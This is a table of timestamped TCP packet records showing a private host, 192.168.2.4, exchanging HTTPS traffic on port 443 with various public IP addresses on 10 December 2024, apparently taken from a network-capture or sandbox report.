Dec 10, 2024 15:10:50.359325886 CET	443	50043	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:50.359381914 CET	50043	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:50.374708891 CET	50048	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:50.398379087 CET	443	50042	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:50.398472071 CET	443	50042	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:50.398663044 CET	50042	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:50.401515961 CET	50042	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:50.401540041 CET	443	50042	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:50.403491020 CET	50058	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.403542995 CET	443	50058	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.403697014 CET	50058	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.403990030 CET	50058	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.404011965 CET	443	50058	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.476306915 CET	443	50052	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.476660013 CET	50052	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.476687908 CET	443	50052	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.477943897 CET	443	50052	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.478028059 CET	50052	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.478420973 CET	50052	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.478540897 CET	443	50052	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.478667021 CET	50052	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.478677988 CET	443	50052	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.496787071 CET	443	50044	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:50.497205973 CET	50044	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:50.497235060 CET	443	50044	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:50.497627974 CET	443	50044	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:50.497972012 CET	50044	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:50.498068094 CET	443	50044	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:50.498327971 CET	50044	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:50.522775888 CET	50052	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.543332100 CET	443	50044	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:50.596617937 CET	443	50041	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:50.596709013 CET	443	50041	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:50.597695112 CET	50041	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:50.598114014 CET	50041	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:50.598133087 CET	443	50041	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:50.786189079 CET	443	50055	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.786663055 CET	50055	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.786684990 CET	443	50055	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.787853956 CET	443	50055	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.788103104 CET	50055	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.788305998 CET	50055	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.788373947 CET	443	50055	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.791203022 CET	50055	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.791218996 CET	443	50055	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.818958998 CET	443	50044	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:50.819056988 CET	443	50044	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:50.819144964 CET	50044	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:50.819686890 CET	50044	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:50.819706917 CET	443	50044	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:50.821263075 CET	443	50048	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:50.821341991 CET	443	50048	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:50.821413040 CET	50048	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:50.821676016 CET	50059	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.821722984 CET	443	50059	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.822165012 CET	50048	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:50.822184086 CET	443	50048	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:50.822419882 CET	50059	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.823193073 CET	50059	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.823204994 CET	443	50059	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.839195013 CET	50055	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.869282961 CET	443	50043	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:50.869357109 CET	443	50043	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:50.870446920 CET	50043	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:50.871197939 CET	50043	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:50.871213913 CET	443	50043	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:50.871525049 CET	50060	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.871555090 CET	443	50060	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.871639967 CET	50060	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.871895075 CET	50060	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.871905088 CET	443	50060	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.918584108 CET	50061	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.918611050 CET	443	50061	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.918683052 CET	50061	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.918889046 CET	50061	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.918904066 CET	443	50061	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.965573072 CET	443	50053	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:50.965936899 CET	50053	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:50.965959072 CET	443	50053	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:50.967081070 CET	443	50053	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:50.967165947 CET	50053	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:50.967525959 CET	50053	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:50.967600107 CET	443	50053	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:50.967674017 CET	50053	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:50.990695953 CET	443	50052	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.990777016 CET	443	50052	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.991266012 CET	50052	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.991719007 CET	50052	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.991727114 CET	443	50052	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.992069960 CET	50062	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.992106915 CET	443	50062	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.993304014 CET	50062	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.993660927 CET	50062	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:50.993674040 CET	443	50062	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:50.995651960 CET	50063	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:50.995686054 CET	443	50063	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:50.995762110 CET	50063	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:50.996028900 CET	50063	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:50.996038914 CET	443	50063	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:51.011333942 CET	443	50053	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:51.020168066 CET	50053	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:51.020184994 CET	443	50053	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:51.066435099 CET	50053	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:51.397492886 CET	443	50055	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:51.397582054 CET	443	50055	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:51.397689104 CET	50055	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:51.398638010 CET	50055	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:51.398655891 CET	443	50055	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:51.402275085 CET	50070	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:51.402321100 CET	443	50070	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:51.402396917 CET	50070	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:51.402630091 CET	50070	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:51.402646065 CET	443	50070	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:51.541152000 CET	50071	443	192.168.2.4	172.64.150.63
Dec 10, 2024 15:10:51.541208029 CET	443	50071	172.64.150.63	192.168.2.4
Dec 10, 2024 15:10:51.541299105 CET	50071	443	192.168.2.4	172.64.150.63
Dec 10, 2024 15:10:51.541538954 CET	50071	443	192.168.2.4	172.64.150.63
Dec 10, 2024 15:10:51.541553020 CET	443	50071	172.64.150.63	192.168.2.4
Dec 10, 2024 15:10:51.772816896 CET	443	50058	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:51.773296118 CET	50058	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:51.773324013 CET	443	50058	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:51.774422884 CET	443	50058	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:51.774522066 CET	50058	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:51.774890900 CET	50058	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:51.774966002 CET	443	50058	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:51.775057077 CET	50058	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:51.775065899 CET	443	50058	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:51.829281092 CET	50058	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:51.885571003 CET	443	50053	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:51.888362885 CET	443	50053	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:51.888448954 CET	50053	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:51.888998032 CET	50053	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:51.889017105 CET	443	50053	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:51.890639067 CET	50072	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:51.890677929 CET	443	50072	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:51.890743017 CET	50072	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:51.891017914 CET	50072	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:51.891031027 CET	443	50072	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.190395117 CET	443	50059	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.190773964 CET	50059	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.190794945 CET	443	50059	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.191239119 CET	443	50059	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.191565990 CET	50059	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.191647053 CET	443	50059	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.191749096 CET	50059	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.235340118 CET	443	50059	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.235862017 CET	443	50060	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.236306906 CET	50060	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.236321926 CET	443	50060	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.236713886 CET	443	50060	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.237713099 CET	50060	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.237818956 CET	443	50060	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.238188028 CET	50060	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.283338070 CET	443	50060	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.290883064 CET	443	50061	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.291245937 CET	50061	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.291284084 CET	443	50061	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.292390108 CET	443	50061	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.292493105 CET	50061	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.292840004 CET	50061	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.292907953 CET	443	50061	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.293020964 CET	50061	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.293030977 CET	443	50061	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.344733000 CET	50061	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.361712933 CET	443	50062	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.362037897 CET	50062	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.362062931 CET	443	50062	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.363539934 CET	443	50062	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.363614082 CET	50062	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.363950968 CET	50062	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.364070892 CET	443	50062	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.364120007 CET	50062	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.367809057 CET	443	50063	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.368046999 CET	50063	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.368077040 CET	443	50063	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.368457079 CET	443	50063	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.368747950 CET	50063	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.368829012 CET	443	50063	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.368865013 CET	50063	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.392035007 CET	443	50058	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.392127037 CET	443	50058	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.392189026 CET	50058	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.393358946 CET	50058	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.393385887 CET	443	50058	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.396919966 CET	50074	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.396945000 CET	443	50074	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.397051096 CET	50074	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.397254944 CET	50074	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.397267103 CET	443	50074	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.405468941 CET	50062	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.405483007 CET	443	50062	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.415330887 CET	443	50063	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.420574903 CET	50063	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.459060907 CET	50062	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.755525112 CET	50075	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:52.755561113 CET	443	50075	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:52.755624056 CET	50075	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:52.755834103 CET	50075	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:52.755844116 CET	443	50075	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:52.756463051 CET	443	50071	172.64.150.63	192.168.2.4
Dec 10, 2024 15:10:52.756683111 CET	50071	443	192.168.2.4	172.64.150.63
Dec 10, 2024 15:10:52.756699085 CET	443	50071	172.64.150.63	192.168.2.4
Dec 10, 2024 15:10:52.757823944 CET	443	50071	172.64.150.63	192.168.2.4
Dec 10, 2024 15:10:52.757889032 CET	50071	443	192.168.2.4	172.64.150.63
Dec 10, 2024 15:10:52.759507895 CET	50071	443	192.168.2.4	172.64.150.63
Dec 10, 2024 15:10:52.759593010 CET	443	50071	172.64.150.63	192.168.2.4
Dec 10, 2024 15:10:52.759794950 CET	50071	443	192.168.2.4	172.64.150.63
Dec 10, 2024 15:10:52.759804010 CET	443	50071	172.64.150.63	192.168.2.4
Dec 10, 2024 15:10:52.774785042 CET	443	50070	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.775238037 CET	50070	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.775268078 CET	443	50070	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.775661945 CET	443	50070	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.776855946 CET	50070	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.776940107 CET	443	50070	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.781465054 CET	50070	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.796351910 CET	443	50059	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.796433926 CET	443	50059	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.796483040 CET	50059	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.797719002 CET	50059	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.797736883 CET	443	50059	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.804320097 CET	50076	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.804353952 CET	443	50076	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.804409027 CET	50076	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.804615021 CET	50076	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.804624081 CET	443	50076	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.812510014 CET	50071	443	192.168.2.4	172.64.150.63
Dec 10, 2024 15:10:52.823343992 CET	443	50070	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.841556072 CET	443	50060	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.841648102 CET	443	50060	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.841690063 CET	50060	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.843246937 CET	50060	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.843271971 CET	443	50060	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.851448059 CET	50077	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.851499081 CET	443	50077	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.851551056 CET	50077	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.851783037 CET	50077	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.851800919 CET	443	50077	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.888613939 CET	443	50061	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.888708115 CET	443	50061	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.888771057 CET	50061	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.890261889 CET	50061	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.890280008 CET	443	50061	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.894398928 CET	50078	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.894437075 CET	443	50078	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.894500017 CET	50078	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.894834042 CET	50078	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.894845009 CET	443	50078	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.895028114 CET	443	50063	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.895117998 CET	443	50063	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.895167112 CET	50063	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.895908117 CET	50063	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.895939112 CET	443	50063	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.963254929 CET	443	50062	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.963352919 CET	443	50062	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.963401079 CET	50062	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.964342117 CET	50062	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:52.964355946 CET	443	50062	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:52.968830109 CET	50079	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.968869925 CET	443	50079	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:52.968924046 CET	50079	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.969140053 CET	50079	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:52.969157934 CET	443	50079	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:53.071326017 CET	50082	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:53.071358919 CET	443	50082	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:53.071438074 CET	50082	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:53.071670055 CET	50082	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:53.071682930 CET	443	50082	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:53.143393993 CET	50084	443	192.168.2.4	192.132.33.69
Dec 10, 2024 15:10:53.143456936 CET	443	50084	192.132.33.69	192.168.2.4
Dec 10, 2024 15:10:53.143558025 CET	50084	443	192.168.2.4	192.132.33.69
Dec 10, 2024 15:10:53.143753052 CET	50084	443	192.168.2.4	192.132.33.69
Dec 10, 2024 15:10:53.143767118 CET	443	50084	192.132.33.69	192.168.2.4
Dec 10, 2024 15:10:53.272325039 CET	443	50072	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:53.272733927 CET	50072	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:53.272753954 CET	443	50072	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:53.273148060 CET	443	50072	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:53.273580074 CET	50072	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:53.273653030 CET	443	50072	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:53.273785114 CET	50072	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:53.273794889 CET	443	50072	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:53.276323080 CET	443	50071	172.64.150.63	192.168.2.4
Dec 10, 2024 15:10:53.276456118 CET	443	50071	172.64.150.63	192.168.2.4
Dec 10, 2024 15:10:53.276519060 CET	50071	443	192.168.2.4	172.64.150.63
Dec 10, 2024 15:10:53.276892900 CET	50071	443	192.168.2.4	172.64.150.63
Dec 10, 2024 15:10:53.276905060 CET	443	50071	172.64.150.63	192.168.2.4
Dec 10, 2024 15:10:53.276922941 CET	50071	443	192.168.2.4	172.64.150.63
Dec 10, 2024 15:10:53.276949883 CET	50071	443	192.168.2.4	172.64.150.63
Dec 10, 2024 15:10:53.289760113 CET	443	50070	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:53.289835930 CET	443	50070	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:53.289891958 CET	50070	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:53.290714979 CET	50070	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:53.290724039 CET	443	50070	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:53.418821096 CET	50088	443	192.168.2.4	104.18.37.193
Dec 10, 2024 15:10:53.418879032 CET	443	50088	104.18.37.193	192.168.2.4
Dec 10, 2024 15:10:53.418967009 CET	50088	443	192.168.2.4	104.18.37.193
Dec 10, 2024 15:10:53.419198990 CET	50088	443	192.168.2.4	104.18.37.193
Dec 10, 2024 15:10:53.419215918 CET	443	50088	104.18.37.193	192.168.2.4
Dec 10, 2024 15:10:53.787038088 CET	443	50074	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:53.787506104 CET	50074	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:53.787532091 CET	443	50074	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:53.787995100 CET	443	50074	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:53.791476965 CET	50074	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:53.791553974 CET	443	50074	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:53.791657925 CET	50074	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:53.835331917 CET	443	50074	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:53.901702881 CET	443	50072	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:53.901796103 CET	443	50072	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:53.902977943 CET	50072	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:53.903549910 CET	50072	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:53.903568983 CET	443	50072	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:53.907507896 CET	50091	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:53.907541990 CET	443	50091	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:53.907630920 CET	50091	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:53.907879114 CET	50091	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:53.907890081 CET	443	50091	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.157191992 CET	50092	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:54.157243013 CET	443	50092	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:54.157593966 CET	50093	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:54.157644033 CET	443	50093	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:54.157660007 CET	50092	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:54.157701969 CET	50093	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:54.157912970 CET	50092	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:54.157927990 CET	443	50092	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:54.158072948 CET	50093	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:54.158085108 CET	443	50093	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:54.193377018 CET	443	50076	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.193855047 CET	50076	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.193873882 CET	443	50076	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.194241047 CET	443	50076	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.194772005 CET	50076	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.194829941 CET	443	50076	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.194982052 CET	50076	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.219347000 CET	443	50077	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.219717979 CET	50077	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.219732046 CET	443	50077	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.220985889 CET	443	50077	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.221050978 CET	50077	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.221621990 CET	50077	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.221692085 CET	443	50077	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.221843004 CET	50077	443	192.168.2.4	54.171.149.245
